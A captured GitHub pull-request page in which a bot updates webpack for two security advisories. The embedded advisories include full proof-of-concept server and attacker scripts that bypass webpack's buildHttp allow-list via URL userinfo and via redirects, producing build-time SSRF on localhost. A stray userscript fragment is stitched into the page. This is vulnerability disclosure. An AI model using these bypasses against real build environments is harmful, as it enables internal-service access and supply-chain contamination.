  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links");
}
} catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); }
})();
(function(){
try {
var __m = "youtube.com";
var __re = new RegExp('^' + "youtube\\.com" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
